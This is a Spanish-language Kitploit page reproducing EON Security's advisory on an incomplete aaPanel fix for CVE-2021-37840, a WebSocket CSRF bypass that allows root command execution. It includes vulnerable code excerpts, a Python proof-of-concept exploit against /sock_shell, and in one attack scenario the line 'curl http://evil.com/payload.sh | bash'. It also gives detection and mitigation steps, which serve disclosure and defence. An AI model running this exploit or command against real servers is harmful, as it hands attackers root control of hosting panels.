Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
aapanel-ws-bypass — Bypass de CSRF en WebSocket de aaPanel que conduce a RCE (Corrección incompleta para CVE-2021-37840) | Kitploit
Herramientas/GitHubGitHub/eonsecurity/aapanel-ws-bypass
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónRed TeamingDesarrollo de Payloads
GitHubeonsecurity/aapanel-ws-bypass

aapanel-ws-bypass

Bypass de CSRF en WebSocket de aaPanel que conduce a RCE (Corrección incompleta para CVE-2021-37840)

Ver Repositorio
hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Sitio web

aaPanel: Los proveedores no siempre corrigen las cosas correctamente

Una corrección incompleta para CVE-2021-37840 sigue exponiendo 3,6 millones de servidores a RCE como root, 5 años después

Descubierto por: EON Security
CVE: Pendiente de asignación
CVSS: 8.8 (Alta) — AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Afectados: aaPanel versiones 6.8.12 a 7.65.0 (todas las versiones desde la corrección de 2021)
Base instalada: más de 3,6 millones de servidores


La versión corta

En 2021, se divulgó una vulnerabilidad de Cross-Site WebSocket Hijacking (CVE-2021-37840) en aaPanel, un panel de control de hosting gratuito que se ejecuta en más de 3,6 millones de servidores. El proveedor añadió una verificación de token CSRF para "corregirla".

La corrección era arquitectónicamente incorrecta.

En lugar de rechazar las conexiones WebSocket no autenticadas a nivel HTTP (devolviendo 401), la corrección permite que todas las conexiones pasen (devuelve 101 Switching Protocols) y solo comprueba la autenticación dentro del manejador, después de que el WebSocket ya se ha establecido. La verificación CSRF que añadieron se puede omitir de múltiples maneras.

EON Security descubrió que, 5 años después, todas las versiones de aaPanel siguen siendo vulnerables a la misma clase de ataque.

Este es solo el décimo CVE asignado a aaPanel en sus más de 6 años de historia.



Qué significa esto en lenguaje sencillo

Si ejecutas aaPanel, esto es lo que un atacante puede hacerte:

Escenario 1: Un administrador hace clic en un enlace malicioso

  1. Alguien de tu equipo hace clic en un enlace que no debería (correo, anuncio, mensaje)
  2. Esa página abre secretamente una conexión WebSocket hacia tu aaPanel — tu navegador incluye automáticamente tu cookie de sesión porque ya has iniciado sesión
  3. aaPanel ve una sesión válida y permite la conexión — la autenticación pasa
  4. El atacante envía curl http://evil.com/payload.sh | bash — ese comando se ejecuta como root en tu servidor
  5. Tu servidor queda completamente comprometido: sitios web robados, bases de datos borradas, malware servido a tus visitantes

Solo se necesita un clic. Un clic equivocado y el atacante lo controla todo.

Escenario 2: Se filtra una clave de API

  1. Una clave de API termina donde no debería — en un repositorio público de GitHub, una copia de seguridad de configuración, las notas de un desarrollador
  2. El atacante se autentica con esa clave y abre un WebSocket hacia aaPanel
  3. La verificación CSRF ve "esta es una solicitud autenticada por API" y omite la verificación por completo — eso es un bypass directo incorporado en el código
  4. El atacante ejecuta comandos como root inmediatamente
  5. Sin clics de administrador, sin advertencias, sin registros que parezcan inusuales — solo un compromiso instantáneo

Este es el problema más grande. La protección CSRF no se aplica en absoluto a las solicitudes autenticadas por API. Fue diseñada para verificar conexiones basadas en navegador, pero la ruta de código para el acceso por API la omite por completo.

De cualquier manera, 3,6 millones de servidores están afectados. Todas las versiones desde 2021.

  1. Los 10 endpoints WebSocket aceptan conexiones antes de verificar quién eres — devuelven HTTP 101 Switching Protocols antes de comprobar la autenticación
  2. La verificación CSRF tiene condiciones de bypass directo — g.api_request=True (solicitudes autenticadas por API) y g.is_aes=True (solicitudes cifradas con AES) omiten la verificación por completo
  3. El endpoint /sock_shell ejecuta comandos arbitrarios — subprocess.Popen(cmd + " 2>&1", shell=True)
  4. El endpoint /webssh acepta credenciales SSH proporcionadas por el atacante — conectar a cualquier host SSH
  5. Se ejecuta como root — compromiso total del servidor

Detalles de la vulnerabilidad

1. Los endpoints WebSocket aceptan conexiones antes de la autenticación

Todos los endpoints WebSocket devuelven HTTP 101 Switching Protocols antes de cualquier verificación de autenticación. La verificación de autenticación comm.local() se ejecuta dentro del manejador, después de que la actualización WebSocket ya se ha completado:

root@kitploit:~
@sockets.route('/sock_shell')
def sock_shell(ws):
    comReturn = comm.local()     # ← Auth check happens AFTER 101
    if comReturn:
        ws.send(str(comReturn))
        return

Endpoints afectados:

  • /webssh (proxy de terminal SSH)
  • /sock_shell (ejecución directa de comandos)
  • /ws_panel (gestión del panel)
  • /ws_home (panel de control)
  • /ws_project (gestión de proyectos)
  • /ws_model (gestión de modelos)
  • /workorder_client (sistema de tickets)
  • variantes /v2/* de todos los anteriores

2. Omisión de la verificación del token CSRF

La función check_csrf_websocket() está diseñada para prevenir el Cross-Site WebSocket Hijacking:

root@kitploit:~
def check_csrf_websocket(ws, args):
    if g.is_aes: return True        # ← Bypass: AES mode skips check
    if g.api_request: return True    # ← Bypass: API requests skip check
    if public.is_debug(): return True
    is_success = True
    if not 'x-http-token' in args:
        is_success = False
    if is_success:
        if public.get_csrf_sess_html_token_value() != args['x-http-token']:
            is_success = False
    if not is_success:
        ws.send('token error')
        return False
    return True

Existen dos condiciones de bypass directo:

  • g.api_request: Cuando es True (se establece durante la autenticación con clave de API), la verificación CSRF se omite por completo. Cualquier sesión WebSocket autenticada por API evita esta protección.
  • g.is_aes: Cuando es True (se establece durante solicitudes API cifradas con AES), la verificación CSRF también se omite.

La comparación de tokens (get_csrf_sess_html_token_value()) devuelve session.get('request_token_head', ""). En sesiones donde este valor aún no se ha inicializado, un x-http-token vacío pasa la verificación.

3. Ejecución de comandos a través de sock_shell

El endpoint /sock_shell pasa cadenas proporcionadas por el atacante directamente a subprocess.Popen con shell=True:

root@kitploit:~
def sock_recv(cmdstring, ws):
    p = subprocess.Popen(cmdstring + " 2>&1",
                         close_fds=True,
                         shell=True,           # ← Arbitrary command execution
                         stdout=subprocess.PIPE,
                         stderr=subprocess.PIPE)

Cada mensaje recibido en el WebSocket se ejecuta como un comando de shell. La salida se transmite de vuelta a través del WebSocket. Dado que aaPanel se ejecuta como root, esto es compromiso total del sistema.

4. Proxy SSH a través de webssh

El endpoint /webssh acepta parámetros de conexión SSH proporcionados por el atacante desde el primer mensaje WebSocket:

root@kitploit:~
ssh_info['host'] = get['host'].strip()
ssh_info['port'] = int(get['port'])
ssh_info['username'] = get['username'].strip()
ssh_info['password'] = get['password'].strip()

Si el host es 127.0.0.1 o localhost, el manejador busca credenciales guardadas en la base de datos, o usa las proporcionadas por el atacante.


Escenario de ataque

La ruta de explotación principal es CSWSH (Cross-Site WebSocket Hijacking) que requiere interacción del usuario:

  1. El administrador tiene una sesión activa de aaPanel (ha iniciado sesión)
  2. El administrador visita una página web maliciosa
  3. La página abre un WebSocket hacia wss://victim-panel:8888/sock_shell
  4. El navegador incluye automáticamente la cookie de sesión
  5. comm.local() pasa la autenticación (cookie de sesión válida)
  6. El atacante envía {"x-http-token": ""} o explota las rutas de bypass por API/AES
  7. Si la verificación CSRF pasa, los comandos se pueden ejecutar como root

Ruta alternativa mediante compromiso de clave de API:

  1. El atacante obtiene una clave de API válida de aaPanel
  2. Las solicitudes autenticadas por API establecen g.api_request = True
  3. La verificación CSRF se omite por completo para estas solicitudes
  4. Ejecución directa de comandos a través del WebSocket sin interacción del usuario

Endpoints afectados


PoC

root@kitploit:~
import asyncio, json, ssl
import websockets

async def exploit(target, command):
    ssl_context = ssl.create_default_context()
    ssl_context.check_hostname = False
    ssl_context.verify_mode = ssl.CERT_NONE
    
    async with websockets.connect(
        f"wss://{target}/sock_shell", ssl=ssl_context
    ) as ws:
        # Attempt CSRF bypass with empty token
        await ws.send(json.dumps({"x-http-token": ""}))
        resp = await asyncio.wait_for(ws.recv(), timeout=10)
        
        if "token error" in resp:
            # CSRF check active — may need API auth bypass
            return None
        
        # Execute command
        await ws.send(command)
        return await asyncio.wait_for(ws.recv(), timeout=30)

PoC completo: exploit.py


Detección

Usa el script check.py para comprobar si una instancia de aaPanel tiene endpoints WebSocket vulnerables:

root@kitploit:~
python3 check.py https://target:8888

Mitigación

  1. Comprobar la autenticación ANTES de aceptar actualizaciones WebSocket — devolver HTTP 401 a nivel de handshake, no después
  2. Eliminar las condiciones de bypass directo — g.api_request y g.is_aes no deberían omitir la protección CSRF
  3. Validar la cabecera Origin en la actualización WebSocket — rechazar orígenes no reconocidos
  4. Deshabilitar sock_shell si no es necesario — proporciona ejecución directa de comandos como root
  5. Restringir el acceso de red a la interfaz de administración de aaPanel

Cronología

FechaEvento

Referencias

  • CVE-2021-37840 — CSWSH original de aaPanel
  • CVE-2026-29859 — Subida arbitraria de archivos en aaPanel (mar 2026)
  • aaPanel GitHub — Repositorio oficial
  • EON Security — Descubridor

Créditos

Yadav — EON Security
Sitio web: https://eonsecurity.co.za


Licencia

Este contenido está licenciado bajo MIT. El PoC se proporciona únicamente con fines educativos y defensivos.

Descargar herramienta
EndpointFunciónImpacto
/websshProxy de terminal SSHConectar a hosts SSH arbitrarios con credenciales del atacante
/sock_shellEjecución directa de comandosRCE como root mediante comandos de shell
/ws_panelGestión del panelAcceso a datos del panel
/ws_homePanel de controlAcceso a datos del panel de control
/ws_projectGestión de proyectosAcceso a datos de proyectos
/ws_modelGestión de modelosAcceso a datos de modelos
/workorder_clientSistema de ticketsAcceso a datos de tickets
/v2/*Todas las variantes v2Igual que arriba
2021-08-02CVE-2021-37840 divulgado (aaPanel CSWSH)
2021El proveedor añade check_csrf_websocket() como corrección
2026-06-23EON Security descubre que la corrección es incompleta
PendienteAsignación de CVE
PendienteDivulgación pública